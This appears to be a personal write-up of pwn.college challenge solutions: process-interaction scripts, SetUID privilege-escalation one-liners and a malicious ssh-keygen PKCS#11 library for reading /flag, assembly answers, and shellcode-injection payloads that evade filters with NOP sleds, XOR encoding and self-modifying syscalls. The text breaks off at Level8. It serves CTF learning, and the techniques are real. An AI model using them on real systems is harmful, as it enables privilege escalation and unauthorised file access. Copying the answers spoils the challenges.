`[TEST] You must send me (PID 504) the following signals, in exactly this order: ['SIGHUP']`

Open a new terminal and from there run the command `kill -SIGNAL PID` (place in the command the correct values). Then go back to the previous terminal and there you'll see the flag.

- *In the upper example, the command would be* `kill -SIGHUP 504`

> **Alternative to do that in a single terminal:**
>
> Run `gcc process.c; ./a.out &` and press enter if needed. The challenge process will now run in the background. Then you can send the `kill -SIGNAL PID` command freely in the same terminal and get the flag.

Level124

Do the same as in the previous level, but this time you will need to send 5 signals in the order provided by the challenge. You do this by sending 5 `kill -SIGNAL PID` commands (using the same PID, as the challenge process stays the same).

Automated scripting

Shellscript - Automated scripting

Level125

process.py

```python
from pwn import *

p = process(["bash", "process.sh"])
for i in range(50):
    p.readuntil(b'solution for: ')
    q = p.readline().decode().strip()
    result = str(eval(q))
    p.sendline(result.encode())

p.readuntil('Here is your flag:')
print(p.read().decode())
```

`echo "/challenge/embryoio_level125" > process.sh; python process.py`

I'm quite certain that this is the simplest way to solve this kind of levels

Level126

Change the 4th line of the script of the upper level in `for i in range(500):`

Then run it with `echo "/challenge/embryoio_level126" > process.sh; python process.py`
It'll take some seconds to execute.

Level127

process.py

```python
from pwn import *

p = process(["bash", "process.sh"])
time.sleep(1)

p.readuntil(b'You must send me')
output = p.readline().decode().strip()

pid = int(re.search(r'\(PID (\d+)\)', output).group(1))
signals = re.search(r"in exactly this order: \[(.*)]", output).group(1).replace("'", '').split(',
')

for e in signals:
    sig = getattr(signal, e)
    os.kill(pid, int(sig))
    p.read().decode()

p.wait()
p.readuntil(b'Here is your flag:')
print(p.read().decode())
```

Then run it with `echo "/challenge/embryoio_level127" > process.sh; python process.py`

"Easier" alternative: **process.py**

```python
from pwn import *

p = process(["bash", "process.sh"])
time.sleep(1)

p.readuntil(b'PID')
output = p.readline().decode().strip()

pid = int(output[:4])
signals = output[52:].strip("[] ").replace("'", "").split(", ")

for e in signals:
 sig = getattr(signal, e)
 os.kill(pid, int(sig))
 p.read().decode()

p.wait()
p.readuntil(b'Here is your flag:')
print(p.read().decode())
```

Then run it with `echo "/challenge/embryoio_level127" > process.sh; python process.py`

This works only if the PID is 3 digits long. If the PID is 4 digits long, replace the lines 9 and 10 with:

```python
pid = int(output[:5])
signals = output[53:].strip("[] ").replace("'", "").split(", ")
```

Level128

Use the script of the previous level and run it with:

```
echo "/challenge/embryoio_level128" > process.sh; python process.py
```

Level129

process.py

```python
from pwn import *

p = process("cat | bash process.sh | cat", shell=True)
for i in range(50):
    p.readuntil(b'solution for: ')
    q = p.readline().decode().strip()
    result = str(eval(q))
    p.sendline(result.encode())

p.readuntil('Here is your flag:')
print(p.read().decode())
```

```
echo "/challenge/embryoio_level129" > process.sh; python process.py
```

> The **process.py** script used here is the same used in **level125**, with only a change on the 3rd line

Python - Automated scripting

The script that will used in the following levels of this section: **process.py**. It's the same used in the **Python** section

```python
import subprocess
process = subprocess.Popen(["/challenge/embryoio_levelXXX"], text=True)
process.communicate()
```

Level130

script.py

```python
from pwn import *

p = process(["python", "process.py"])
for i in range(50):
    p.readuntil(b'solution for: ')
    q = p.readline().decode().strip()
    result = str(eval(q))
    p.sendline(result.encode())

p.readuntil('Here is your flag:')
print(p.read().decode())
```

For this challenge you'll need two python scripts: **process.py** and **script.py**. Put the right code in both scripts.

Then run it with `python script.py` and you'll get your flag

> The **script.py** file is the same as the one used in **level125**, with the only change being on line 3 to execute a python script instead of a shell script.

Level131

Change the 4th line of **script.py** of the upper level in `for i in range(500):`

Then run it with `python script.py` and you'll get your flag. It'll take some seconds to execute.
*- Remember to update the challenge number in **process.py**!*

Level132

script.py

```
1  from pwn import *
2
3  p = process(["python", "process.py"])
4  time.sleep(1)
5
6  p.readuntil(b'You must send me')
7  output = p.readline().decode().strip()
8
9  pid = int(re.search(r'\(PID (\d+)\)', output).group(1))
10 signals = re.search(r"in exactly this order: \[(.*)]", output).group(1).replace("'", '').split(',
   ')
11
12 for e in signals:
13     sig = getattr(signal, e)
14     os.kill(pid, int(sig))
15     p.read().decode()
16
17 p.wait()
18 p.readuntil(b'Here is your flag:')
19 print(p.read().decode())
```

For this challenge you'll need two python scripts: **process.py** and **script.py**. Put the right code in both scripts.

Then run it with `python script.py` and you'll get your flag

> The **script.py** file is the same as the one used in **level127**, with the only change being on line 3 to execute a python script instead of a shell script. In level127 you can also find an easier script alternative.

Level133

Use the two scripts of the previous level and run them with `python script.py`
*- Remember to update the challenge number in **process.py**!*

Level134

script.py

```
1  from pwn import *
2
3  p = process("cat | python process.py | cat", shell=True)
4  for i in range(50):
5      p.readuntil(b'solution for: ')
6      q = p.readline().decode().strip()
7      result = str(eval(q))
8      p.sendline(result.encode())
9
10 p.readuntil('Here is your flag:')
11 print(p.read().decode())
```

For this challenge you'll need two python scripts: **process.py** and **script.py**. Put the right code in both scripts.

Then run it with `python script.py` and you'll get your flag

> The **script.py** file is the same as the one used in **level129**, with the only change being on line 3 to execute a python script instead of a shell script.

Binary - Automated scripting

The script that will used in the following levels of this section: **process.c**. It's the same used in the **Binary** section

```c
#include <unistd.h>
#include <sys/wait.h>

void pwncollege() {
    if (fork() == 0) {
        execl("/challenge/embryoio_levelXXX", "processes", NULL);
    }
    wait(NULL);
}

int main() {
    pwncollege();
}
```

Level135

Use the script **process.py** from **level125**, and change its 3rd line from: `p = process(["bash", "process.sh"])` to `p = process(["./a.out"])`

Then run it with `gcc process.c; python process.py`

Level136

Change the 4th line of the script of the upper level from `for i in range(50):` to `for i in range(500):`

Then run it with `gcc process.c; python process.py`. It'll take some seconds to execute.
- *Remember to update the challenge number in **process.c**!*

Level137

Use the script **process.py** from **level127**, and change its 3rd line from: `p = process(["bash", "process.sh"])` to `p = process(["./a.out"])`

Then run it with `gcc process.c; python process.py`
- *Remember to update the challenge number in **process.c**!*

Level138

Use the scripts of the previous level and run them with `gcc process.c; python process.py`
- *Remember to update the challenge number in **process.c**!*

Level139

Use the script **process.py** from **level129**, and change its 3rd line from `p = process("cat | bash process.sh | cat", shell=True)` to `p = process("cat | ./a.out | cat", shell=True)`

Then run it with `gcc process.c; python process.py`
- *Remember to update the challenge number in **process.c**!*

TCP Scripting

Level140

process.sh

```
/challenge/embryoio_level140 >&/dev/null &
sleep 1

exec 3<>/dev/tcp/127.0.0.1/1560 # Put your TCP port number here

cat <<EOF > /tmp/py_script
import sys
line = sys.argv[1]
chal = line.find('for: ')
if chal > 0:
    print(eval(line[chal+4:].strip()))
EOF

while read line;
do
    echo "$line"
    python /tmp/py_script "$line" >&3
done <&3
```

You have to run once `/challenge/embryoio_level140`, and at the end of its output you'll see something like:
`[INFO] This challenge is a network server, and will only communicate on TCP port 1560.`

Get that TCP port number and replace it in the 4th line of **process.sh**. Then run `bash process.sh`, and you'll have your flag.

Level141

process.py

```
from pwn import *

process(["/challenge/embryoio_level141"])
time.sleep(1)

p = remote('127.0.0.1', 1512) # Put your TCP port number here

while line := p.readline():
    line = line.decode()
    print(line)

    chal = line.find('for: ')
    if chal > 0:
        p.sendline(str(eval(line[chal+4:].strip())).encode())
```

You have to run once `/challenge/embryoio_level141`, and at the end of its output you'll see something like:
`[INFO] This challenge is a network server, and will only communicate on TCP port 1512.`

Get that TCP port number and replace it in the 6th line of **process.py**. Then run `python process.py`, and you'll have your flag.

Level142

process.c

```c
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <glob.h>

char* glob_embryoio() {
    glob_t result;
    glob("/challenge/em*", 0, NULL, &result);
    return result.gl_pathv[0];
}

int pwncollege() {
    if (!fork()) {
        char* binary = glob_embryoio();
        execl(binary, "challenge", NULL);
    }

    sleep(1);

    int s = socket(AF_INET, SOCK_STREAM, 0);
    int client_fd;
    struct sockaddr_in servaddr;
    char buffer[1024] = {};
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
    servaddr.sin_port = htons(1242); // Put your TCP port number here

    if (s < 0) {
        printf("\nSocket creation error\n");
        return -1;
    }

    if ((client_fd = connect(s, (const struct sockaddr *)&servaddr, sizeof(servaddr))) < 0)
    {
        printf("\nConnection Failed \n");
        return -1;
    }

    sleep(1);
    char sock_fd[16] = {};
    sprintf(sock_fd, "%d", s);
    if (!fork()) {
        execl("/usr/bin/python", "python", "process.py", sock_fd, NULL);
    }
    close(s);
    while(wait(NULL) > 0);
}

int main() {
    pwncollege();
}
```

process.py

```python
import os
import sys

sock_fd = sys.argv[1]
pr = os.fdopen(int(sock_fd), 'r')

while line := pr.readline():
    print(line)

    chal = line.find('for: ')
    if chal > 0:
        os.write(int(sock_fd), str(eval(line[chal+4:].strip())).encode() + b'\n')
```

Create both the **process.c** and **process.py** script files, in the same folder.

You have to run once `/challenge/embryoio_level142`, and at the end of its output you'll see something like: `[INFO] This challenge is a network server, and will only communicate on TCP port 1242.`

Get that TCP port number and replace it in the 32nd line of **process.c**. Then run `gcc process.c; ./a.out`, and you'll have your flag.

> I've copied the scripts for those 3 last levels from this github:
> https://github.com/142y/pwn_college_solutions/tree/main/Program-Interaction-Solutions

SetUID

https://infosecwriteups.com/pwn-college-program-misuse-privilege-escalation-2024-3cedcecb2dd0

https://medium.com/@nkrohitkumar2002/pwn-college-program-misuse-notes-25597b1d4d8c

https://github.com/M4700F/pwn.college-program-misuse-writeup/blob/main/Babysuid%2051.md

Level1

`cat /flag`

Level2

`more /flag`

Level3

`less /flag`

Level4

`head /flag`

Level5

`tail /flag`

Level6

`sort /flag`

Level7

`vim /flag`

Level8

`emacs /flag`

Level9

`nano /flag`

Level10

`rev /flag | rev`

Level11

`od -c /flag`

pro mode `od -An -c /flag  | tr -d "[:space:]"`

Level12

`hd /flag`

Level13

`xxd /flag`

Level14

`base32 /flag | base32 -d`

Level15

`base64 /flag | base64 -d`

Level16

`split /flag`, then check the `xaa` file

Level17

`gzip -c /flag | gzip -d`

Level18

`bzip2 -c /flag | bzip2 -d`

Level19

`zip flag.zip /flag; cat flag.zip`

pro mode `zip flag.zip /flag; unzip -p flag.zip`

Level20

`tar -cf flag.tar /flag; cat flag.tar`

Level21

`ar r flag.a /flag; ar x flag.a; cat flag`

Level22

`echo "/flag" | cpio -o > flag.cpio; cat flag.cpio`

Level23

`genisoimage -sort /flag`

Level24

`env cat /flag`

Level25

`find / -name 'flag' -exec cat /flag \;`

the `-name` parameter is avoidable

Level26

`make --eval="all:; cat /flag"`

alternative `echo "all:; cat /flag" > flag; make -f flag`

Level27

`nice cat /flag`

Level28

`timeout 1 cat /flag`

Level29

`stdbuf -o0 cat /flag`

Level30

`setarch -R cat /flag`

Level31

`watch -x cat /flag`

Level32

`socat EXEC:'cat /flag' -`

`socat -u /flag -`

`socat FILE:/flag -`

Level33

`whiptail --textbox /flag 10 30`

Level34

`awk 1 /flag` or `awk "//" /flag`

Level35

`sed "" /flag`

Level36

`echo "p" | ed /flag`

Level37

`chown hacker /flag; cat /flag`

Level38

`chmod +r /flag; cat /flag`

Level39

`cp --no-preserve=all /flag ~; cat ~/flag`

alternative `touch ~/text; cp /flag ~/text; cat ~/text`

Level40

`/challenge/babysuid_level40; mv /usr/bin/cat /usr/bin/mv; /challenge/babysuid_level40; mv /flag`

Level41

`perl -pe '' /flag`

Level42

`python /flag`

pro mode `echo "print(open('/flag').readline())" > f.py; python f.py`

Level43

`ruby /flag`

pro mode `echo "puts File.read('/flag')" > f.rb; ruby f.rb`

Level44

`bash -p` and then `cat /flag`

pro mode `bash -p -c "cat /flag"`

Level45

`date -f /flag`

Level46

`dmesg -F /flag`

Level47

`wc --files0-from=/flag`

Level48

`gcc -x c /flag` or `gcc -x c -E /flag`

pro mode create the following `f.c` file and then compile it with `gcc f.c`

```c
#include <stdio.h>
#include "/flag"
int main(){
    return 0;
}
```

Level49

`as /flag`

Level50

`nc -lp 4242 & wget --post-file=/flag http://localhost:4242`

alternative
`nc -lp 4242` on the first terminal
`wget --post-file=/flag http://localhost:4242` on the second terminal, then check in the first one for the flag

Level51

Explanation

From `/challenge/babysuid_level51`:

> Welcome to /challenge/babysuid_level51!
>
> This challenge is part of a series of programs that show you how dangerous it is to **allow users to load their own code as plugins into the program** (but figuring out how is the hard part!).
>
> I just set the SUID bit on /usr/bin/ssh-keygen. Try to use it to read the flag!
>
> IMPORTANT: make sure to run me (/challenge/babysuid_level51) every time that you restart this challenge container to make sure that I set the SUID bit on /usr/bin/ssh-keygen!

From `man ssh-keygen`:

> `-D pkcs11`: download the public keys provided by the PKCS#11 shared library pkcs11. When used in combination with -s, this option indicates that a CA key resides in a PKCS#11 token (see the CERTIFICATES section for details).

The flag `-D pkcs11` can load a **shared library** called `pkcs11`. A shared library is also known as a dynamic linked library.

Now make a `C` code that reads the flag and make it a `dynamic link library`. `dll` are the libraries that are loaded in the runtime of the program execution.

Important: to have your library to be considered a `pkcs11` library, it must contain the `C_GetFunctionList` function

Script Execution

lvl51.c

```c
#include <stdio.h>
int C_GetFunctionList() {
    FILE *file_ptr;
    char ch;

    file_ptr = fopen("/flag", "r");

    while ((ch = fgetc(file_ptr)) != EOF) {
        printf("%c", ch);
    }

    fclose(file_ptr);
    return 0;
}
```

`gcc -shared -o ~/lvl51.so ~/lvl51.c` to compile the shared library

`ssh-keygen -D ~/lvl51.so` to provide the compiled shared library to the ssh-keygen command

Alternative: lvl51.c

```c
#include <sys/stat.h>
int C_GetFunctionList() {
    chmod("/flag", 0777);
    return 0;
}
```

`gcc -shared -o ~/lvl51.so ~/lvl51.c` to compile the shared library

`ssh-keygen -D ~/lvl51.so` to provide the compiled shared library to the ssh-keygen command

This will grant you access to the flag file. You can now run `cat /flag` and get its content.

> Instead of reading and printing the flag, which requires more C knowledge, we're gonna use chmod to grant to all users full access to the `/flag` file.

Assembly

https://github.com/142y/pwn_college_solutions/tree/main/Assembly-Refresher-Solutions

Python script to run all the challenges: assembly_run.py (look in the zip file)

PwnCollege

Correspondences between our site and that of pwn college (so that you can continue practicing even after it's been shutdown) → https://pwn.college/computing-101/assembly-crash-course/

- Level1 ⟶ set-register
- Level2 ⟶ add-to-register
- Level3 ⟶ linear-equation-registers
- Level4 ⟶ integer-division
- Level5 ⟶ modulo-operation
- Level6 ⟶ efficient-modulo
- Level7 ⟶ byte-extraction
- Level8 ⟶ bitwise-and
- Level9 ⟶ check-even
- Level10 ⟶ memory-read
- Level11 ⟶ byte-access
- Level12 ⟶ little-endian-write
- Level13 ⟶ memory-sum
- Level14 ⟶ stack-subtraction
- Level15 ⟶ swap-stack-values
- Level16 ⟶ average-stack-values
- Level17 ⟶ jump-trampoline
- Level18 ⟶ conditional-jump
- Level19 ⟶ indirect-jump
- Level20 ⟶ average-loop
- Level21 ⟶ count-non-zero
- Level22 ⟶ string-lower
- Level23 ⟶ most-common-byte

> Due to my laziness almost all the assembly code for the following levels was taken from the upper GitHub repository.

Level1

```python
from pwn import *
import subprocess

file = "/challenge/embryoasm_level1"
context.update(arch="x86-64")

assembly = '''
    mov rdi, 0x1337
'''
shellcode = asm(assembly)

process = subprocess.Popen([file], stdin=subprocess.PIPE)
process.communicate(shellcode)
```

For the following levels refer to the upper script, just change the shellcode variable with the one provided there.

How to solve this without using a python script (skippable if not interested):

level1.s

```
.intel_syntax noprefix
.section .text
.global _start
_start:
    mov rdi, 0x1337
```

Now assemble the code with either **as** (GNU assembler) or **gcc**:
`as -o level1 level1.s` or `gcc -nostdlib -static -o level1 level1.s`

Disassemble the executable and display the assembly code with `objdump -M intel -d level1`

- **-M intel** is needed to display the assembly in intel syntax
- **-d** disassembles all sections containing machine code (e.g., .text)

If you need to extract the raw **.text** section use objcopy:
`objcopy --dump-section .text=level1.txt level1`

- This extracts the .text section from the level1 binary and saves it to the file level1.txt.

Use either **hd** or **xxd** to examine the contents of the extraceted .text section:
`hd level1.txt` or `xxd level1.txt`

Level2

```python
assembly = '''
    add rdi, 0x331337
'''
```

Level3

```python
assembly = '''
    imul rdi, rsi
    add rdi, rdx
    mov rax, rdi
'''
```

Level4

```
assembly = '''
    mov rax, rdi
    div rsi
'''
```

Level5

```
assembly = '''
    mov rax, rdi
    div rsi
    mov rax, rdx
'''
```

Level6

```
assembly = '''
    mov al, dil
    mov bx, si
'''
```

Level7

```
assembly = '''
    mov rax, rdi
    shl rax, 24
    shr rax, 56
'''
```

Level8

```
assembly = '''
    and rax, rdi
    and rax, rsi
'''
```

Level9

```
assembly = '''
    xor rax, rax
    and rdi, 1
    or rax, rdi
    xor rax, 1
'''
```

Level10

```
assembly = '''
    mov rax, [0x404000]
    addq [0x404000], 0x1337
'''
```

Level11

```
assembly = '''
    mov al, [0x404000]
    mov bx, [0x404000]
    mov ecx, [0x404000]
    mov rdx, [0x404000]
'''
```

Level12

```
assembly = '''
    movq rax, 0xdeadbeef00001337
    movq [rdi], rax
    movq rax, 0xc0ffee0000
    movq [rsi], rax
'''
```

Level13

```
assembly = '''
    mov rax, [rdi]
    add rax, [rdi + 8]
    mov [rsi], rax
'''
```

Level14

```
assembly = '''
    pop rax
    sub rax, rdi
    push rax
'''
```

Level15

```
assembly = '''
    push rdi
    push rsi
    pop rdi
    pop rsi
'''
```

Level16

```
assembly = '''
    add rax, [rsp]
    add rax, [rsp + 8]
    add rax, [rsp + 16]
    add rax, [rsp + 24]
    mov rbx, 4
    idiv rbx
    push rax
'''
```

Level17

```
assembly = '''
    jmp here
    .rept 0x51
        nop
    .endr

    here:
        pop rdi
        mov rax, 0x403000
        jmp rax
'''
```

Level18

```
assembly = '''
    mov eax, [rdi+4]
    mov ebx, [rdi+8]
    mov ecx, [rdi+12]
    mov edx, [rdi]

    cmp edx, 0x7f454c46
    je add

    cmp edx, 0x00005A4D
    je sub

    mul:
        imul ebx
        imul ecx
        jmp done

    add:
        add eax, ebx
        add eax, ecx
        jmp done

    sub:
        sub eax, ebx
        sub eax, ecx
        jmp done

    done:
        int3
'''
```

Level19

```
assembly = '''
    cmp rdi, 3
    jbe here
    mov rdi, 4

    here:
        lea rax, [rsi + rdi * 8]
        mov rax, [rax]
        int3
        jmp rax
'''
```

Level20

```
assembly = '''
    xor rax, rax
    xor rbx, rbx
    loop:
        cmp rbx, rsi
        jge end
        add rax, [rdi + rbx * 8]
        add rbx, 1
        jmp loop
    end:
        div rsi
'''
```

Level21

```
assembly = '''
    mov rax, 0
    cmp rdi, 0
    je done

    loop:
        mov rbx, 0
        mov bl, [rdi]
        cmp bl, 0
        je done
        add rax, 1
        add rdi, 1
        jmp loop

    done:
        nop
        int3
'''
```

Level22

```
assembly = '''
    xor rax, rax
    cmp rdi, 0
    je done

loop:
    mov rbx, 0
    mov bl, [rdi]
    cmp bl, 0
    je done

    cmp bl, 90
    jg ninety

    push rdi
    push rax
    mov rdi, 0
    mov dil, bl
    mov r10, 0x403000
    call r10
    mov bl, al
    pop rax
    pop rdi
    mov [rdi], bl
    add rax, 1

    ninety:
        add rdi, 1
        jmp loop

    done:
        nop
        ret
'''
```

Level23

```
assembly = '''
    main:
        push rbp
        mov rbp, rsp
        sub rsp, 0x200
        call count_all
        call max
        mov rsp, rbp
        pop rbp
        ret

    count_all:
        xor rax, rax
        count_loop:
            cmp rax, rsi
            jge count_loop_end
            mov bl, byte ptr [rdi + rax]
            mov rcx, rbp
            sub rcx, rbx
            sub rcx, rbx
            add word ptr [rcx], 1
            add rax, 1
            jmp count_loop
        count_loop_end:
            ret
    max:
        xor rax, rax
        xor rbx, rbx
        xor rcx, rcx
        max_loop:
            cmp rcx, 0xff
            jg max_loop_end
            mov rdx, rbp
            sub rdx, rcx
            sub rdx, rcx
            cmp word ptr [rdx], bx
            jle not_larger
            mov rax, rcx
            mov bx, [rdx]
            not_larger:
                add rcx, 1
                jmp max_loop
            max_loop_end:
            int3
            ret
'''
```

Injection

In this GitHub repository, you can find some alternatives to my solutions, but I tried to make mine simpler: https://github.com/142y/pwn_college_solutions/tree/main/Shellcode-Injection-Solutions

Linux syscall table: https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

> For debugging, you can use objdump. You can find a brief tutorial in the blue box in **level1** of the **Assembly** section. The gist of it is to assemble your script `injection.s` with `as -o injection.o injection.s`, and then disassemble the executable with `objdump -M intel -d injection.o`. This will allow you to see the bytes into which the assembly code is being converted. This will be useful in the upcoming challenges.
> If you want also to execute the assembly, you can do it with `ld injection.o -o injection` and then running the executable with `./injection`

You can find the same challenges here (this sie will no be closed): https://pwn.college/program-security/shellcode-injection/

Level1

injection.py

```python
from pwn import *
import subprocess

file = "/challenge/babyshell_level1"
context.update(arch="x86-64", encoding="latin")

shellcode = '''
    /* chmod syscall */
    mov rax, 90
    lea rdi, [rip+flag]
    mov rsi, 0777       /* 0777 in chmod corresponds to a=rwx */
    syscall

flag:
    .asciz "/flag"
'''
shellcode = asm(shellcode)

process = subprocess.Popen([file], stdin=subprocess.PIPE)
process.communicate(shellcode)
```

Run it with `python injection.py`. This shellcode will grant you acces to the flag, so you'll be able to see it with `cat /flag`

Here I've used the **chmod** syscall to grant me the permissions to read the **/flag** file:

```
%rax    System call     %rdi                        %rsi                    %rdx
90      sys_chmod       const char *filename        mode_t mode
```

`0777` is an octal number representing `-rwxrwxrwx` access, which grants full read, write, and execute permissions to everyone (owner, group, and others). The leading 0 in 0777 indicates to the assembler that the number should be interpreted as octal rather than decimal, as it would normally do.

We use `lea rdi, [rip+flag]` and not `mov rdi, flag` because in Position Independent Code, such as what you use in shellcode, you cannot assume that absolute addresses (e.g., the address of flag) are fixed.

- `rip` is the instruction pointer register, and `[rip+flag]` computes the address of the flag label relative to the current rip. The effective address of flag is placed into rdi.

Alternative: to avoid this problem, you could also convert the string "/flag" into hex and push it into the stack:

```
mov rax, 0x67616c662f /* this corresponds to galf/ because it's in little endian */
push rax

/* chmod syscall */
mov rax, 90
mov rdi, rsp /* rsp points to our string saved in the stack */
mov rsi, 0777
syscall
```

Level2

> **From the challenge description:**
> This challenge will randomly skip up to 0x800 bytes in your shellcode. You better adapt to that! One way to evade this is to have your shellcode start with a long set of single-byte instructions that do nothing, such as `nop`, before the actual functionality of your code begins. When control flow hits any of these instructions, they will all harmlessly execute and then your real shellcode will run. This concept is called a `nop sled`.

Replace the shellcode variable in the script of **level1** with the code below:

```
shellcode = "nop\n" * 2048 # 0x800 = 2048 in decimal
shellcode += '''
    mov rax, 90
    lea rdi, [rip+flag]
    mov rsi, 0777
    syscall

    mov rax, 60
    syscall

flag:
    .asciz "/flag"
'''
```

Run it with `python injection.py`. This shellcode will grant you acces to the flag, so you'll be able to see it with `cat /flag`

> Since the challenge randomly skips up to 0x800 bytes in our shellcode, we put 0x800 `nop` instructions before our actual code injection. This way we'll be sure that our code will not be skipped.

Level3

> **From the challenge description:** This challenge requires that your shellcode have no NULL bytes!

Replace the shellcode variable in the script of **level1** with the code below:

```
shellcode = '''
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x67616c662f /* the ^ is the xor operator */
    xor [rsp], rax

    xor rax, rax    /* remember to clear the upper bytes */
    mov al, 90      /* al is the lower 8 bits of rax */
    mov rdi, rsp
    mov si, 0777    /* si is the lower 16 bits of rsi */
    syscall

    xor rax, rax    /* remember to clear the upper bytes */
    mov al, 60
    syscall
'''
```

Run it with `python injection.py`. This shellcode will grant you acces to the flag, so you'll be able to see it with `cat /flag`

In this shellcode, we use the XOR operator to modify the string `"/flag"`. First, we load a constant value `0x101010101010101` into rax and push it onto the stack. Then, we calculate `0x101010101010101 ^ 0x67616c662f` (which XORs the constant value with the byte representation of "/flag") and store the result in rax. This gives us an "encrypted" version of "/flag", which does not contain any NULL bytes.

We then apply the XOR operation again on the value at `[rsp]` (that is `0x101010101010101`), modifying the "encrypted" constant to the original flag byte representation, `0x67616c662f`. This works because of the properties of the XOR operation: `constant ^ flag = encrypted_flag`, and then `encrypted_flag ^ constant = flag`.
In this way, we were able to store the flag path on the stack without having any NULL bytes in our instructions.

Next, we proceed with the chmod syscall (code 90). We zero the upper part of rax, move 90 into `al` (the lower 8 bits of rax), and provide the modified string's address on the stack via rdi. We set the permissions (0777) in `si` (the lower 16 bits of rsi) and trigger the syscall.

Finally, we perform the exit syscall (code 60) by zeroing the upper part of rax and moving 60 into `al`.

Level4

From the challenge description: This challenge requires that your shellcode have no H bytes!

Replace the shellcode variable in the script of **level1** with the code below:

```
shellcode = '''
    push 0x616c662f                 /* push in the stack the 4 bytes "alf/" */
    mov dword ptr [rsp+4], 0x67     /* push the byte "g" immediately before "alf/" */
    push rsp

    pop rdi
    mov eax, 90     /* eax is the lower 32-bits of rax */
    mov esi, 0777   /* esi is the lower 32-bits of rsi */
    syscall

    mov eax, 90
    syscall
'''
```

Run it with `python injection.py`. This shellcode will grant you acces to the flag, so you'll be able to see it with `cat /flag`

In shellcode, **H bytes** refer to hexadecimal 0x48 bytes, which are the opcode representation for MOV instructions with 64-bit operands in the x86-64 architecture. Specifically, when moving values into 64-bit registers like rax, the opcode for `MOV rax, <value>` will start with `0x48 0xb8`. The prefix 0x48 indicates that the operand is 64-bit long.

To avoid using these H bytes for 64-bit operations (such as MOV to rax), we can use smaller 32-bit registers. In this case, I use the 32-bit `eax` and `esi` registers, which are the lower 32 bits of the `rax` and `rsi` registers.

Additionally, we cannot push the full 8-byte string "/flag" directly onto the stack with a single push instruction, because this exceeds the 32-bit immediate operand limit of the push instruction. To work around this:

- **First, we push the first 4 bytes of the string**: The bytes 0x616c662f represent the ASCII string "alf/" and are pushed onto the stack.
- **Next, we place the remaining byte (**0x67**)**, which corresponds to the letter "g", immediately before the "alf/", completing the string to form "/flag". This is done by writing 0x67 to the stack at the address rsp+4.

At this point, we have ""/flag" arranged in memory, starting from rsp. Since rsp is a 64-bit register and we need to pass a 64-bit address to the rdi register for the syscall, we can't directly assign the address from rsp to rdi. Instead, we **push the address onto the stack**, and then **pop** it into the rdi register, which is used as the argument for the chmod syscall. So we avoided using the MOV instruction, even though we need to move 64 bits, by utilizing push and pop.

Alternative: **injection.py** *(for the explanation of why this works look at **level8**)*

```
# [...] take the previous part of the code from the injection.py script of level1
shellcode = '''
    push 0x67616c66
    push rsp

    pop rdi
    mov eax, 90     /* eax is the lower 32-bits of rax */
    mov esi, 0777   /* esi is the lower 32-bits of rsi */
    syscall

    mov eax, 90
    syscall
'''
shellcode = asm(shellcode)

process = subprocess.Popen([file], stdin=subprocess.PIPE, cwd="/") # we added cwd="/" here
process.communicate(shellcode)
```

Level5

> **From the challenge description:**
> This challenge requires that your shellcode does not have any `syscall`, `sysenter`, or `int` instructions. System calls are too dangerous! This filter works by scanning through the shellcode for the following byte sequences: 0f05 (`syscall`), 0f34 (`sysenter`), and 80cd (`int`). One way to evade this is to have your shellcode modify itself to insert the `syscall` instructions at runtime.

Replace the shellcode variable in the script of **level1** with the code below:

```
shellcode = '''
    mov rax, 90
    lea rdi, [rip+flag]
    mov rsi, 0777
    add byte ptr [rip], 1
    .byte 0x0e
    .byte 0x05

    mov rax, 60
    add byte ptr [rip], 1
    .byte 0x0e
    .byte 0x05

flag:
    .asciz "/flag"
'''
```

Run it with `python injection.py`. This shellcode will grant you acces to the flag, so you'll be able to see it with `cat /flag`

> The syscall instruction is represented by the bytes `0x0f 0x05`. In the `.text` section, we cannot put this in clear as it would be statically detected by the challenge. So instead we store `0x0e 0x05`, and use the instruction `add byte ptr [rip], 1` (or `inc byte ptr [rip]`, which also works) to increment the byte at the address of `rip`. `rip` holds the address of the next instruction to be executed, which is currently `.byte 0x0e`. The `add byte ptr [rip], 1` instruction increases this value to `0x0f`, converting it into `0x0f 0x05` — effectively the encoding for a syscall. This allows us to dynamically inject a syscall into our code.

Level6

> **From the challenge description:**
> This challenge requires that your shellcode does not have any `syscall`, 'sysenter', or `int` instructions. System calls are too dangerous! This filter works by scanning through the shellcode for the following byte sequences: 0f05 (`syscall`), 0f34 (`sysenter`), and 80cd (`int`). One way to evade this is to have your shellcode modify itself to insert the `syscall` instructions at runtime.
>
> Removing write permissions from first 4096 bytes of shellcode.

Replace the shellcode variable in the script of **level1** with the code below:

```
shellcode = "nop\n" * 4096
shellcode += '''
    mov rax, 90
    lea rdi, [rip+flag]
    mov rsi, 0777
    add byte ptr [rip], 1
    .byte 0x0e
    .byte 0x05

    mov rax, 60
    add byte ptr [rip], 1
    .byte 0x0e
    .byte 0x05

flag:
    .ascii "/flag"
'''
```

Run it with `python injection.py`. This shellcode will grant you acces to the flag, so you'll be able to see it with `cat /flag`

> This level is a combination of **level2** and **level5**. A trick to add all those nope directly from assembly code is:
>
> ```
> shellcode = '''
>  .rept 4096
>      nop
>  .endr
>
>  mov rax, 90
>  [...]
> '''
> ```
>
> The instructions **[...]** inside of a `.rept n [...] .endr` block are repeated **n** times.

Level 7

> **From the challenge description:**
> - This challenge is about to close stdin, which means that it will be harder to pass in a stage-2 shellcode. You will need to figure an alternate solution (such as unpacking shellcode in memory) to get past complex filters.
> - This challenge is about to close stderr, which means that you will not be able to get use file descriptor 2 for output.
> - This challenge is about to close stdout, which means that you will not be able to get use file descriptor 1 for output.
>
> You will see no further output, and will need to figure out an alternate way of communicating data back to yourself.

Replace the shellcode variable in the script of **level1** with the code below:

```
shellcode = '''
    mov rax, 90
    lea rdi, [rip+flag]
    mov rsi, 0777
    syscall

    mov rax, 60
    syscall

flag:
    .asciz "/flag"
'''
```

Run it with `python injection.py`. This shellcode will grant you acces to the flag, so you'll be able to see it with `cat /flag`

> The challenge disables stdin, stdout, and stderr, **preventing input and output** through standard file descriptors. However, this is not an issue because we have never used syscalls that rely on stdin or stdout (such as read or write). Instead, we have used the **chmod** syscall, which does not interact with standard input or output. Therefore, we can solve this challenge using the same approach as in the previous levels.

Level8

> **From the challenge description:**
